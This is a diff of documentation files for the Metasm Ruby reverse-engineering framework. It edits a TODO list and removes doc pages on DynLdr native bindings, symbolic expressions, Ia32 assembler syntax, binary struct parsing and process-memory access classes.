Vendor-specific headers may need to use either #pragma prepare_visualstudio
(to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the
latter may be auto-detected (or may not).

View File

@ -2,13 +2,14 @@ List of TODO items, by section, in random order
Ia32
emu fpu
add all sse2 instrs
AVX support
realmode
X86_64
decompiler
CPU
Arm
Sparc
Cell
@ -26,14 +27,14 @@ Assembler
Disasm
DecodedData
Exe decoding generate decodeddata ?
Function-local namespace (esp+12 -> esp+var_42)
Function variable names using stack analysis + ExpressionString
Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk)
Test with ET_REL style exe
Store stuff out of mem (to handle big binaries)
Better :default usage
good on call eax, but not on <600k instrs> ret
use binary personality ? (uses call vs uses pushret..)
Improve backtrace -> patch di.instr.args exprs
Improve 'backtrace => patch di.instr.args'
path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:)
Decode pseudo/macro-instrs (mips 'li')
Deoptimizer (instr reordering for readability)
@ -69,6 +70,7 @@ Decompiler
Handle/hide compiler-generated stuff (getip, stack cookie setup/check..)
Handle call 1f ; 1: pop eax
More user control (force/forbid register arg, return type, etc)
Preserve C decompiled line association to range of asm decoded addrs
Debugger
OSX
@ -81,7 +83,6 @@ Debugger
Remote debugging (small standalone C client)
Support dbghelp.dll (ms symbol server info)
Support debugee function call (gdb 'call')
Manipulate memory through C struct casts
ExeFormat
Handle minor editing without decode/reencode (eg patch ELF entrypoint)
@ -105,10 +106,9 @@ GUI
show breakpoints
show jump direction from current flag values
have a console frontend
better graph positionning fallback
zoom font when zooming graph
copy/paste, selection
text selection
map (part of) the binary & debug it (map a PE on a linux host & run it)
Ruby
compile ruby AST to native optimized code
write a fast ruby-like interpreter

View File

@ -1,146 +0,0 @@
Metasm source code organisation
===============================
The metasm source code takes advantage of the ruby language facilities,
which allows splitting the definition of a single class in multiple files.
Each file in the source tree holds code related to a particular feature of
the framework.
Directories
-----------
The top-level directories are :
* `doc/`: this documentation
* `metasm/`: the framework core
* `samples/`: a set of sample scripts showing various functionnalities of the framework
* `tests/`: a few unit tests (too few..)
* `misc/`: misc ruby scripts, not directly related to metasm
The core
--------
The `metasm/` directory holds most of the code of the framework, along with the
main `metasm.rb` file in the top directory.
The top-level `metasm.rb` has code to load parts of the framework source on demand
in the ruby interpreter, which is implemented with ruby's <const_missing.txt>
Executable formats
##################
The `exe_format/` subdirectory contains the implementations of the various
binary file formats supported in the framework.
Three files have a special meaning here:
* `main.rb`: it defines the <core/ExeFormat.txt> class
* `serialstruct.rb`: here you'll find the definitions of <core/SerialStruct.txt>
* `autoexe.rb`: the implementation of <core/AutoExe.txt>, which allows the recognition of arbitrary files from their binary signature.
The `main.rb` file is included in all other formats, as all file classes
are subclasses of `ExeFormat`.
The `serialstruct.rb` implements a helper class to ease the description of
binary structures, and generate parsing/encoding functions for those.
All other files implement a specific file format handler. The bigger files
(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and
decoding/disassembly.
CPUs
####
All supported architectures have a dedicated subdirectory, and a helper file
that will simply include all the arch-specific files.
All those files will contribute to add functions to the same class implementing
the CPU interface. Not all CPUs implement all those features. They are:
* `main.rb`: inner classes definitions (for registers etc), generic functions
* `opcodes.rb`: initializes the opcode list for the architecture
* `encode.rb`: methods to encode instructions
* `decode.rb`: methods to decode/emulate instructions
* `parse.rb`: methods to parse asm instructions from a source file
* `render.rb`: methods to output an instruction to a string
* `compile_c.rb`: the C compiler implementation
* `decompile.rb`: the arch-specific part of the generic decompiler
* `debug.rb`: arch-specific information used when debugging target of this architecture
In some cases the files are small enough to be all merged into the `main.rb` file.
Operating systems
#################
The `os/` subdirectory holds the code used to abstract an operating systems.
The files here define an API allowing to enumerate running processes, and interact
with them in various ways. The <core/Debugger.txt> class and subclasses are
defined there.
Those files also holds the list of known functions and in which system libraries
they can be found (see <core/WindowsExports.txt> or <core/GNUExports.txt>), which
are used when linking executable files.
Graphical user-interface
########################
The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces.
Currently those include the disassembler and the debugger (see the *samples* section).
Those GUI elements are implemented using a custom GUI abstraction, and reside in the
various `dasm_*.rb` and `debug.rb`.
The actual implementation of the GUI are found in:
* `win32.rb`: the native Win32 API backend
* `gtk.rb`: a Gtk2 backend, intended for unix platforms
* `qt.rb`: a Qt backend experiment
Please note that the Qt backend does not work *at all*.
The `gui.rb` file in the main directory is used to chose among the available GUI backend
the most appropriate for the current session.
Others
######
The other files directly in the `metasm/` directory are either support files
(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by
specific cpu/exeformat instances, or implement arch-agnostic features.
Those include:
* `preprocessor.rb`: the C/asm preprocessor/lexer
* `parse_c.rb`: this is the implementation of the C parser
* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source
* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder
* `dynldr.rb`: this module is used when interacting directly with the host operating system through <core/DynLdr.txt>
The samples
-----------
The `samples/` directory contains a lot of small files that intend to be
exemples of how to use the framework. It also holds experiments and
work-in-progress for features that may later be integrated into the main
framework.
The comment at the beginning of the file should be clear about the purpose
of the script, and the scripts are expected to be copy/pasted and tweaked
for the specific task needed by the user (that's you).
Some of those files however are full-featured applications:
* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts
* `disassemble.rb`: a disassembler
* `disassemble-gui.rb`: the graphical disassembler / debugger
The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler.

View File

@ -1,16 +0,0 @@
The const_missing trick
=======================
Metasm uses a ruby trick to load most of the framework on demand, so that
*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter
unless you use them.
It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of
`Module.autoload`. This mechanism will automatically load the specified metasm
components whenever a reference is made to one of the constants listed here.
Metasm provides a replacement top-level file, `misc/metasm-all.rb`,
which will unconditionally load all metasm files.
This will not however load mutually exclusive files, like the Gui subsystems ;
in this case it will load only the autodetected gui module (win32 or gtk).

View File

@ -1,247 +0,0 @@
DynLdr
======
DynLdr is a class that uses metasm to dynamically add native methods,
or native method wrappers, available to the running ruby interpreter.
It leverages the built-in C parser / compiler.
It is implemented in `metasm/dynldr.rb`.
Currently only supported for <core/Ia32.txt> and <core/X86_64.txt> under
Windows and Linux.
Basics
------
Native library wrapper
######################
The main usage is to generate interfaces to native libraries.
This is done through the `#new_api_c` method.
The following exemple will read the specified C header fragment,
define ruby constants for all `#define`/`enum`, and define ruby
method wrappers to call the native functions whose prototype is
present in the header.
All referenced native functions must be exported by the given
library file.
class MyInterface < DynLdr
c_header = <<EOS
#define SomeConst 42
enum { V1, V2 };
__stdcall int methodist(char*, int);
EOS
new_api_c c_header, 'mylib.dll'
end
Then you can call, from the ruby:
MyInterface.methodist("lol", MyInterface::SOMECONST)
Constant/enum names are converted to full uppercase, and method
names are converted to full lowercase.
Dynamic native inline function
##############################
You can also dynamically compile native functions, that are compiled
in memory and copied to RWX memory with the right ruby wrapper:
class MyInterface < DynLdr
new_func_c <<EOS
int bla(char*arg) {
if (strlen(arg) > 4)
return 1;
else
return 0;
}
EOS
end
References to external functions are allowed, and resolved automatically.
The ruby objects used as arguments to the wrapper method are
automatically converted to the right C type.
You can also write native functions in assembly, but you must specify a
C prototype, used for argument and return value conversion.
class MyInterface < DynLdr
new_func_asm "int increment(int i);", <<EOS
mov eax, [esp+4]
inc eax
ret
EOS
p increment(4)
end
Structures
----------
`DynLdr` handles C structures.
Once a structure is specified in the C part, you can create a ruby object
using `MyClass.alloc_c_struct(structname)`, which will allocate an object of the
right size to hold all the structure members, and with the right accessors.
To access/modify struct members, you can either use a `Hash`-style access
structobj['membername'] = 42
or `Struct`-style access
structobj.membername = 42
Member names are matched case-insensitively, and nested structures/unions
are also searched.
The struct members can be initially populated by passing a `Hash` argument
to the `alloc_c_struct` constructor. Additionally, this hash may use the
special value `:size` to reference the byte size of the current structure.
class MyInterface < DynLdr
new_api_c <<EOS
struct sname {
int s_mysize;
int s_value;
union {
struct {
int s_bits:4;
int s_bits2:4;
};
int s_union;
}
};
EOS
end
# field s_mysize holds the size of the structure in bytes, ie 12
s_obj = MyInterface.alloc_c_struct('sname', :s_mysize => :size, :s_value => 42)
# we can access fields using Hash-style access
s_obj['s_UniOn'] = 0xa8
# or Struct-style access
puts '0x%x' % s_obj.s_BiTS2 # => '0xa'
This object can be directly passed as argument to a wrapped function, and
the native function will receive a pointer to this structure (that it can
freely modify).
This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`.
Internally, it is based on a ruby `String`, and has a reference to the parser's
`Struct` to find the mapping membername -> offsets/length.
See <core/CParser.txt> for more details.
Callbacks
---------
`DynLdr` handles C callbacks, with arbitrary ABI.
Any number of callbacks can be defined at any time.
C callbacks are backed by a ruby `Proc`, eg `lambda {}`.
class MyInterface < DynLdr
new_api_c <<EOS
void qsort(void *, int, int, int(*)(void*, void*));
EOS
str = "sanotheusnaonetuh"
cmp = lambda { |p1, p2|
memory_read(p1, 1) <=> memory_read(p2, 1)
}
qsort(str, str.length, 1, cmp)
p str
end
Argument conversion
-------------------
Ruby objects passed to a wrapper method are converted to the corresponding
C type
* `Strings` are converted to a C pointer to the byte buffer (also directly
accessible from the ruby through `DynLdr.str_ptr(obj)`
* `Integers` are converted to their C equivalent, according to the prototype
(`char`, `unsigned long long`, ...)
* `Procs` are converted to a C callback
* `Floats` are not supported for now.
Working with memory
-------------------
DynLdr provides different ways to allocate memory.
* `alloc_c_struct` to allocate a C structure
* `alloc_c_ary` to allocate C array of some type
* `alloc_c_ptr`, which is just an ary of size 1
* `memory_alloc` allocates memory from a new memory page
`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows,
and is suitable for allocating memory where you want to control
the memory permissions (read, write, execute). This is done through `memory_perm`.
`memory_perm` takes for argument the start address, the length, and the new permission, specified as a String (e.g. 'r', 'rwx')
To work with memory that may be returned by an API (e.g. `malloc`),
DynLdr provides ways to read and write arbitrary pointers from the ruby
interpreter memory.
Take care, those may generate faults when called with invalid addresses that
will crash the ruby interpreter.
* `memory_read` takes a pointer and a length, and returns a String
* `memory_read_int` takes a pointer, and returns an Integer (of pointer size,
e.g. 64 bit in a 64-bit interpreter)
* `memory_write` takes a pointer and a String, and writes it to memory
* `memory_write_int`
Hacking
-------
Internally, DynLdr relies on a number of features that are not directly
available from the ruby interpreter.
So the first thing done by the script is to generate a binary native module
that will act as a C extension to the ruby interpreter.
This binary is necessarily different depending on the interpreter.
The binary name includes the target architecture, in the format
dynldr-*arch*-*cpu*-*19*.so, e.g.
* dynldr-linux-ia32.so
* dynldr-windows-x64-19.so
This native module is (re)generated if it does not exist, or is older than the
`dynldr.rb` script.
A special trick is used in this module, as it does not know the actual name
of the ruby library used by the interpreter. So on linux, the `libruby` is
removed from the `DT_NEEDED` library list, and on windows a special stub
is assembled to manually resolve the ruby imports needed by the module from
any instance of `libruby` present in the running process.
The native file is written to a directory writeably by the current user.
The following list of directories are tried, until a suitable one is found:
* the `metasm` directory itself
* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory
* the `$TMP`/`$TEMP`/current directory

View File

@ -1,43 +0,0 @@
ExeFormat
=========
This class is the parent of all executable format handlers.
It is defined in `metasm/exe_format/main.rb`.
It defines some standard shortcut functions, such as:
* `Exe.decode_file(filename)`
* `Exe.assemble(cpu,asm_source)`
* `Exe.compile_c(cpu,c_source)`
* `Exe#encode_file(filename)`
These methods will instanciate a new Exe, and call the corresponding
methods, *e.g.* `load` with the file content, and `decode`.
The handling of the different structures in the binary format should be
done using the <core/SerialStruct.txt> facility.
The subclasses are expected to implement various functions, depending on the
usage (refer to the ELF and COFF implementations for more details):
File decoding/disassembly
-------------------------
* `#decode_header`: parse the raw data in `#encoded` only to parse the file header
* `#decode`: parse all the raw data in `#encoded`
* `#cpu_from_headers`: return a <core/CPU.txt> instance according to the exe header information
* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc)
* `#dump_section_header`: return a string that may be assembled to recreate the specified section
* `#section_info`: return a list of generic section informations for the disassembler
File encoding/source parsing
----------------------------
* `#tune_prepro`: define exe-specific macros for the preprocessor (optional)
* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source
* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`...
* `#assemble`: assemble the content of the @cursource into binary section contents
* `#encode`: assemble the various sections and a binary header into `@encoded`

View File

@ -1,220 +0,0 @@
Expression
==========
Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g.
* `42`
* `eax + 12`
* `loc_4228h + 4*ebx - 12`
These expressions can include `Integers`, `Symbols`, and `Strings`.
The symbols and strings represent arbitrary variables, with the convention that
strings represent fixed quantities (eg addresses, labels), whereas symbols
represent more variable stuff (eg register values).
There is also a special symbol that may be used, `:unknown`, to represent a
value that is known to be unknown. See the `reduce` section.
See also <core/Indirection.txt>.
The Expression class holds all methods relative to Integer binary manipulation,
that is `encoding` and `decoding` from/to a binary blob (see also
<core/EncodedData.txt>)
Members
-------
Expressions hold exactly 3 members:
* `lexpr`, the left-hand side of the expression
* `rexpr`, the right-hand side
* `op`, the operator
`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or
Expression. For unary operators, `lexpr` is `nil`.
`op` is a Symbol representing the operation.
It should be from the list:
* arithmetic: `+ - / * >> << & | ^`
* boolean: `|| && == != > >= < <=`
* unary: `+ - ~ !`
Instantiation
-------------
In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`,
`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except
for negative numeric values, which is stored with `op` == `:-` and `rexpr` ==
abs).
If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called
recursively, to ease the definition of nested Expressions.
Exemples:
Expression[42]
Expression[:eax, :+, 12]
Expression[:-, 'my_var']
Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]]
The Expression class also includes a parser, to allow creating an expression
from a string. `parse_string!` will create an Expression and update its
argument to point after the last part read successfully into the expr.
The parser handles standard C operator precedence.
str = "1 + var"
Expression.parse_string!(str) # => Expression[1, :+, "var"]
str = "42 bla"
Expression.parse_string!(str) # => Expression[42]
str # => "bla"
Use `parse_string` without the ! to parse the string without updating it.
External variables
------------------
The `externals` method will return all non-integer members of the Expression.
Expression[[:eax, :+, 42], :-, "bla"].externals # => [:eax, "bla"]
Pattern matching
----------------
The `match` method allows to check an Expression against a pattern without
having to check individual members. The pattern should be an Expression,
whose variable members should be Strings or Symbols, which are also passed as
arguments to the match function. On successful match, the correspondance
between variable patterns and their actual value matched is returned as a Hash.
Expression[1, :+, 2].match(Expression['var', :+, 2], 'var')
# => { 'var' => 1 }
Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var')
# => nil
Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op)
# => { 'var' => 1, :op => :+ }
Reduction
---------
Metasm Expressions include a basic symbolic computation engine, that allows
some simple transformations of the Expression. The reduction will also
compute numerical values whenever possible. If the final result is fully
numeric, an Integer is returned, otherwise a new Expression is returned.
In this context, the special value `:unknown` has a particular meaning.
Expression[1, :+, 2].reduce
# => 3
Expression[:eax, :+, [:ebx, :-, :eax]].reduce
# => Expression[:ebx]
Expression[1, :+, [:eax, :+, 2]].reduce
# => Expression[:eax, :+, 3]
Expression[:unknown, :+, :eax].reduce
# => Expression[:unknown]
The symbolic engine operates mostly on addition/substractions, and
no-operations (eg shift by 0). It also handles some boolean composition.
The detail can be found in the #replace_rec method body, in `metasm/main.rb`.
The reduce method can also take a block argument, which will be called at
every step in the recursive reduction, for custom operations. If the block
returns nil, the result is unchanged, otherwise the new value is used as
replacement. For exemple, if you operate on 32-bit values and want to get rid
of `bla & 0xffffffff`, use
some_expr.reduce { |e|
if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff
e.lexpr
end
}
Binding
-------
An expression involving variable externals can be bound using a Hash. This will
replace any occurence of a key of the Hash by its value in the expression
members. The `bind` method will return a new Expression with the substitutions,
and the `bind!` method will update the Expression in-place.
Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce
# => 12
Expression[:eax, :+, :ebx].bind(:ebx => 42)
# Expression[:eax, :+, 42]
Expression[:eax, :+, :ebx].bind(:ebx => :ecx)
# Expression[:eax, :+, :ecx]
You can use Expressions as keys, but they will only be used on perfect matches.
Binary packing
--------------
Encoding
########
The `encode` method will generate an EncodedData holding the expression, either
as binary if it can reduce to an integral value, or as a relocation.
The arguments are the relocation type and the endianness, plus an optional
backtrace (to notify the user where an overflowing relocation comes from).
The `encode_imm` class method will generate a raw String for a given
integral value, a type and an endianness.
The type can be given as a byte size.
Expression.encode_imm(42, :u8, :little) # => "*"
Expression.encode_imm(42, 1, :big) # => "*"
Expression.encode_imm(256, :u8, :little) # raise EncodeError
On overflows (value cannot be encoded in the bit field) an EncodeError
exception is raised.
Decoding
########
The `decode_imm` class method can be used to read a binary value into an
Integer, with an optional offset into the binary string.
Expression.decode_imm("*", :u8, :little) # => 42
Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2
Arithmetic coercion
-------------------
Expression implement the `:+` and `:-` ruby methods, so that `expr + 4`
works as expected. The result is reduced.
Integer methods
---------------
The Expression class offers a few methods to work with integers.
make_signed
###########
`make_signed` will convert a raw unsigned to its equivalent signed value,
given a bit size.
Expression.make_signed(1, 16) # => 1
Expression.make_signed(0xffff, 16) # => -1
in_range?
#########
`in_range?` can check if a given numeric value would fit in a particular
<core/Relocation.txt> field. The method can return true or false if it
fits or not, or `nil` if the result is unknown (eg the expr has no numeric
value).
Expression.in_range?(42, :i8) # => true
Expression.in_range?(128, :i8) # => false
Expression.in_range?(-128, :i8) # => true
Expression.in_range?(Expression['bla'], :u32) # => nil

View File

@ -1,27 +0,0 @@
GNUExports
==========
This class is defined in `metasm/os/gnu_exports.rb`
It defines an `EXPORT` constant, a Hash, whose keys
are the standard linux API symbol names, and values
are the library name where you can find this symbol.
The equivallent for windows is <core/WindowsExports.txt>
Usage
-----
The main usage of this class is the automatic generation
of the <core/ELF.txt> dynamic tag `DT_NEEDED` from the
external symbols referenced by a binary during compilation.
This is done in the `automagic_symbols` method.
Symbols
-------
The current version holds the symbols of the debian
glibc, from `libc.so.6` and `libdl.so.2`.
Ruby symbols are also defined, from `libruby1.8.so.1.8`.

View File

@ -1,234 +0,0 @@
Ia32
====
The Ia32 architecture, aka *Intel_x86*, is the most advanced among the
architectures implemented in the framework. It is a subclass of the
generic <core/CPU.txt>.
It can handle binary code for the 16 and 32bits modes of the processor.
It is a superclass for the <core/X86_64.txt> object, a distinct processor
that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*)
The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix
if bigendian)
Opcodes
-------
The opcodes list can be customized to match that available on a specific
version of the processor. The possibilities are:
* 386_common
* 386
* 387
* 486
* pentium
* p6
* 3dnow
* sse
* sse2
* sse3
* vmx
* sse42
Most opcodes are available in the framework, with the notable exception of:
* most sse2 simd instructions
* the AVX instructions
* amd-specific instructions
The `386_common` family is the subset of 386 instruction that are most
commonly found in standard usermode programs (no `in`/`out`/bcd
arithmetic/far call/etc).
This can be useful when manipulating stuff that in not known to be i386
binary code.
Initialization
--------------
An Ia32 <core/CPU.txt> object can be created using the following code:
Metasm::Ia32.new
The `X86` alias may be used in place of `Ia32`.
The constructor accepts optional arguments to specify the CPU size, the
opcode family, and the endianness of the processor. The arguments can
be given in any order. For exemple,
Metasm::Ia32.new(16, 'pentium', :big)
will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family,
in big-endian mode.
The Ia32 initializer has the convenience feature that it will create an
X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an
X86_64 instance)
Assembler
---------
The parser handles only Intel-style asm syntax, *e.g.*
some_label:
mov eax, 10h
mov ecx, fs:[eax+16]
push dword ptr fs:[1Ch]
call ecx
test al, al
jnz some_label
ret
fmulp ST(4)
Instruction arguments
#####################
The parser recognizes standard registers, such as
* `eax`
* `ah`
* `mm4` (mmx 64bit register)
* `xmm2` (xmm 128bit register)
* `ST` (current top of the FPU stack)
* `ST(3)` (FPU reg nr.3)
* `cs` (segment register)
* `dr3` (debug register)
* `cr2` (control register)
It also supports inexistant registers, such as
* `cr7`
* `dr4`
* `segr6` (segment register nr.6)
The indirections are called `ModRM`. They take the form:
* `[eax]` (memory pointed by `eax`)
* `byte ptr [eax]` (1-byte memory pointed by `eax`)
* `byte [eax]` (same as previous)
* `fs:[eax]` (offset `eax` from the base of the `fs` segment)
* `[fs:eax]` (same as previous)
The pointer itself can be:
* `[eax]` (any register)
* `[eax+12]` (base + numeric offset)
* `[eax+ebx]` (base + register index)
* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index)
* `[eax + 2*ebx + 42]` (both)
Note that the form base + s*index cannot use `esp` as index with s != 1.
For indirection sizes, the size is taken from the size of other arguments
if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]`
will be 1). The explicit size specifier can be:
* `byte` (8bits)
* `word` (16)
* `dword` (32)
* `qword` (64)
* `oword` (128)
* `_12bits` (12, arbitrary numbers can be used)
Parser commands
###############
The following commands are recognized in an asm source:
* `.mode`
* `.bits`
They are synonymous, and serve to change the mode of the processor to either
16 or 32bits.
They should be the first instruction in the source, changing the mode during
parsing is not supported. This would change only the mode for the next
instructions to be parsed, and for all instructions (incl. those already parsed
at this point) when encoding, which is likely **not** what you want. See the
`codeXX` prefixes.
Note that changing the CPU size once it was created may have bad side-effects.
For exemple, some preprocessor macros may already have been generated according
to the original size of the CPU and will be incorrect from this point on.
Prefixes
########
The following prefixes are handled:
* `lock`
* `rep`, `repz`, `repnz`, `repe`, `repne`
* `code16`, `code32`
The `repXX` prefixes are for string operations (`movsd` etc), but will be set
for any opcode. Only the last of the family will be encoded.
The `code16` will generate instructions to be run on a CPU in 16bit mode,
independantly of the global CPU mode. For exemple,
code16 mov ax, 42h
will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or
run incorrectly on an 32bit CPU.
The encoder also has code to handle `jmp hints` prefixes, but the parser has
no equivalent prefix support.
There is currently no way to specify a segment-override prefix for instruction
not using a ModRM argument. Use a `db 26h` style line.
Suffixes
########
The parser implements a specific feature to allow the differenciation of
otherwise ambiguous opcodes, in the form of instruction suffixes.
By default, the assembler will generate the shortest encoding for a given
instruction. To force encoding of another form you can add a specific
suffix to the instruction. In general, metasm will use e.g. register sizes
when possible to avoid this kind of situations, but with immediate-only
displacement this is necessary.
or.a16 [1234h], eax ; use a 16-bit address
or [bx], eax ; use a 16-bit address (implicit from the bx register)
or eax, 1 ; "\x83\xc8\x01"
or.i8 eax, 1 ; "\x83\xc8\x01" (same, shortest encoding)
or.i eax, 1 ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field)
movsd.a16 ; use a 16-byte address-size override prefix (copy dword [si] to [di])
push.i16 42h ; push a 16-bit integer
The suffixes are available as follow:
* if the opcode takes an integer argument that can be encoded as either a 8bits or <cpu size>bits, the `.i` and `.i8` variants are created
* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created
* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created
C parser
--------
The Ia32 C parser will initialize the type sizes with the `ilp32` memory
model, which is:
* short = 16bits
* int = 32bits
* long = 32bits
* long long = 64bits
* pointer = 32bits
In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits
compiler has not been tested anyway).
The following macros are defined (in the asm preprocessor too)
* `_M_IX86` = 500
* `_X86_`
* `__i386__`

View File

@ -1,108 +0,0 @@
SerialStruct
============
This is a helper class to handle binary packed data, especially to
represent <core/ExeFormat.txt> structures.
The implementation is in `metasm/exe_format/serialstruct.rb`.
Basics
------
The class defines some class methods, such as:
* `dword`
* `byte`
* `strz`
These methods can be used directly in subclass definitions, e.g.
class MyHeader < SerialStruct
dword :signature
dword :length
end
This will associate the sequence of fields to this structure, which
is used in the `#encode` and `#decode` methods.
These methods rely on an <core/ExeFormat.txt> instance to define
the corresponding `decode_dword` and `encode_dword` methods.
You can then simply call:
hdr = MyHeader.decode(myexefmt)
which will call `myexefmt.decode_word` twice to populate the
`signature` and `length` fields of the MyHeader.instance.
You can also redefine the `#decode` method to handle special cases.
The fields defined this way can be assigned a default value that
will be used when encoding the structure. The syntax is:
dword :fieldname, defaultvalue
If you have a long sequence of identically-typed fields, you can use
the plural form:
dwords :f1, :f2, :f3, :f4
To define your own field types, you should create a new subclass and call the
`new_field` class method. For integral fields, use `new_int_field(fldname)`
that will automatically define the decode/encode routines, and create the
plural form.
class MyStruct < SerialStruct
new_int_field :zword
zwords :offset, :length
end
Symbolic constants
------------------
The class has built-in support for symbolic constants and bit fields.
For exemple, suppose you have a numeric `:type` field, which corresponds
to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use:
TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' }
dword :type
fld_enum :type, TYPES
With this, the standard '#decode' method will first decode the numeric value
of the field, and then lookup the value in the enum hash to find the
corresponding symbol, and use it as the field value.
If there is no mapping, the numeric value is retained. The reverse operation
is done with `#encode`.
For the bitfields, the method is `fld_bits`, and the software will try to
match *OR-ed* values from the bitfield to generate an array of symbols.
BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' }
dword :foo
fld_bits :foo, BITS
which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]`
The hashes used for fld_bits or fld_enum can be dynamically determined, by
using the block version of those methods. The block will receive the ExeFormat
instance and the SerialStruct instance, and should return the Hash.
This can be useful when a bitfield signification varies given some generic
property of the exe, eg the target architecture.
Hooks
-----
It is also possible to define a hook that will be called at some point during
the object binary decoding. It will receive the exe and struct instances.
class Header < SerialStruct
dword :machine
decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 }
dword :bodylength
end

View File

@ -1,145 +0,0 @@
VirtualString
=============
This class is an abstract representation of an arbitrary sized byte array
with methods to load parts of it on demand. It is useful to represent
a program virtual memory and allow metasm to work on it while only reading
bytes from it when actually needed.
The base class is defined in `metasm/os/main.rb`.
Basics
------
The API of the object is designed to be compatible with a standard String (ASCII-8BIT).
The main restriction is that the size of this string cannot be changed:
concatenation / shortening is not supported.
The main operation on the object should be `[]` and `[]=`, that is,
reading some subpart of the string, or overwriting some substring.
The arguments are the same as for a String, with the exception that
rewrite raises an IndexError if the rewriting would change the string
length.
A few methods are written specifically with the VirtualString semantics,
others are redirected to a temporary real String generated with `realstring`.
The VirtualString works with a `page` concept, that represents some arbitrary
chunks of data that can be actually read from the underlying target, e.g. a
memory page (4096 bytes) when mapping a process virtual address space.
Instances get to define a `pagelength` sound for the specific implementation.
Whenever a substring is requested from a VirtualString, if the substring
length is less than the page size, an actual read is made and a String is
returned.
If the length is greater however, a new VirtualString is created to map this
new *view* without actually reading.
To force the conversion to a String, use the `realstring` or `to_str` method.
The latter is prefered, as it works on both Strings and VirtualStrings.
To force the creation of a new VirtualString, use the `dup(start, len)` method.
When reading actual bytes, a local page cache is used. By default is has only 4
pages, and can be invalidated using `invalidate`.
The cache is automatically invalidated when part of the string is written to.
The VirtualString may index *invalid* pages (e.g. unmapped memory range in a
process address space) ; you can check that with `page_invalid?` with an index
as parameter.
Creation
--------
To create your own flavor of VirtualString, you must:
* define your subclass that inherits from `VirtualString`
* define your initializer, that takes whatever arguments make sense (e.g. a
*pid*, *handle*, Socket..)
* your initializer must call super(a, l) with arguments:
** current view absolute address (should default to 0), will be saved in
`@addr_start`
** current view size (should default to something sensible, like 1<<32), saved
in `@length`
* your initializer can override the default page size by defining the
`@pagelength` variable.
* implement a `dup` method that takes optional arguments:
** new base address (default=`@addr_start`)
** new length (default=`@length`)
** returns a new instance of your class mapping over the specified window
* implement a `get_page` method, whose arguments are:
** absolute page address (will always be page-aligned)
** optional length, default=`@pagelength`
** returns a String of `length` bytes, or `nil` (e.g. unmapped area)
* optionally implement a `rewrite_at` method, to make your string writeable.
Arguments are the absolute write address, and the data to write there (a String).
Feel free to override any other method with an optimized version.
For exemple, the default `realstring` will repeatadly call `get_page` with
each page in the range 0..`length`, you may have a more efficient alternative.
You can alter the cache size by rewriting the `@pagecache_len` variable
**after** calling `super()` in `initialize`. The default value is 4, which you
may want to increase.
See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid`
method).
Standard subclasses
-------------------
VirtualFile
###########
Defined in `metasm/os/main.rb`.
This class maps over an open file descriptor, and allows reading data on-demand.
It implements the `read` class method, similar to `File.read`, with the
file opened in binary mode. For a small file (<=4096), the content is
directly returned, otherwise a VirtualString is created.
This class is used by the default <core/ExeFormat.txt> `decode_file[_header]`
methods.
LinuxRemoteString
#################
Defined in `metasm/os/linux.rb`.
This class maps over the virtual memory of a Linux process.
Accesses are done through the `/proc/<pid>/mem` for reading.
The linux kernel requires that the target process be ptraced before we can
read this file, so the object will use the debugger instance passed to the
constructor, or create a new <core/PTrace.txt> object to stop the process
and read its memory during `get_page`.
If a <core/Debugger.txt> object was given, `get_page` will return `nil` if the
debugger indicates that the target is not stopped.
Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`.
WindowsRemoteString
###################
Defined in `metasm/os/windows.rb`.
This class maps over the virtual memory of a Windows process.
The memory accesses are done using the `Read/WriteProcessMemory` API.
The class method `open_pid` is defined, that will try to `OpenProcess`
first in read/write, and fallback to read-only mode.
GdbRemoteString
###############
Defined in `metasm/os/remote.rb`.
Maps over the virtual memory of a remote process debugged with a
